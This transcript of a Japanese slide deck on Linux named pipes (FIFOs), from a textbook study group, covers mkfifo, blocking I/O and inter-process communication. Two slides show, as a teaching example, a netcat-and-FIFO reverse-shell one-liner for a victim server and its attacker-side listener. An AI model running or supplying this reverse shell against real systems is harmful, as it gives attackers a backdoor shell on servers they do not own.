$30 off During Our Annual Pro Sale. View Details »

名前付きパイプ FIFO

Osumi, Yusuke
February 13, 2021

名前付きパイプ FIFO

「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。
https://linuxbook.connpass.com/event/202890/

Osumi, Yusuke

February 13, 2021
Tweet

More Decks by Osumi, Yusuke

Other Decks in Technology

Transcript

  1. 名前付きパイプ FIFO
    @ozuma5119
    1
    「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13

    View Slide

  2. 名前付きパイプ FIFO
    2
    書き込むと止まる(ブロッキングI/O)
    $ echo "Hello" > fifo
    $ tail -f fifo
    (別のターミナルで) 読み込んで解放

    View Slide

  3. 名前付きパイプ FIFO
    3
    先に読み込んでおく
    $ tail -f fifo
    $ echo "Hello" > fifo
    今度は書き込むとブロックされない

    View Slide

  4. 名前付きパイプ FIFO
    4
    書き込むと止まる(ブロッキングI/O)
    $ echo "Hello" > fifo
    1. 入出力中は他の処理が行えない (特に遅いディスクを扱う
    ときにつらい)
    2. ただし非同期処理で思わぬデータ破壊が起きにくい利点
    ※深い話なので、ここではこれ以上突っ込まない

    View Slide

  5. 5
    名前付きパイプ FIFO
    mkfifo - FIFO (名前付きパイプ) を作成する
    $ man mkfifo
    $ mkfifo fifo
    $ ls -l fifo
    prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo
    $

    View Slide

  6. 6
    $ cat sample.txt | sort
    $ cat sample.txt > fifo
    $ sort < fifo
    無名パイプ
    名前付きパイプ

    View Slide

  7. プロセス間通信に使われる
    7
    プロセス実行....
    ガッ
    SIGTERM(15)
    プロセスA
    プロセスB
    通信したいデータ
    シグナルによるプ
    ロセス間通信
    名前付きパイプによる
    プロセス間通信
    無名パイプ | と違って、
    2つのプロセスはバラバラに
    実行していて良い

    View Slide

  8. 高度な例(しかし実際の攻撃によく使われる)
    被害サーバ:ここでは /tmp/f が名前付きパイプ
    8
    $ nc < /tmp/f | /bin/sh >/tmp/f 2>&1
    攻撃者側サーバ:待ち受けておく
    $ nc -lvnp
    ※nc: netcatコマンド。ネットワークでデータストリームを流すcat
    サーバにバックドア Reverse Shell を作る

    View Slide

  9. 9
    攻撃者が攻撃対象のマシン
    上でコマンド実行
    (実際は、バレないように
    見えないところで実行)
    攻撃者のマシンに
    シェルがつながって
    自由に操作できる

    View Slide

  10. もう一度確認して解説
    被害サーバ:ここでは /tmp/f が名前付きパイプ
    10
    $ nc < /tmp/f | /bin/sh >/tmp/f 2>&1
    攻撃者側サーバ:待ち受けておく
    $ nc -lvnp
    ※nc: netcatコマンド。ネットワークでデータストリームを流すcat
    サーバにバックドア Reverse Shell を作る

    View Slide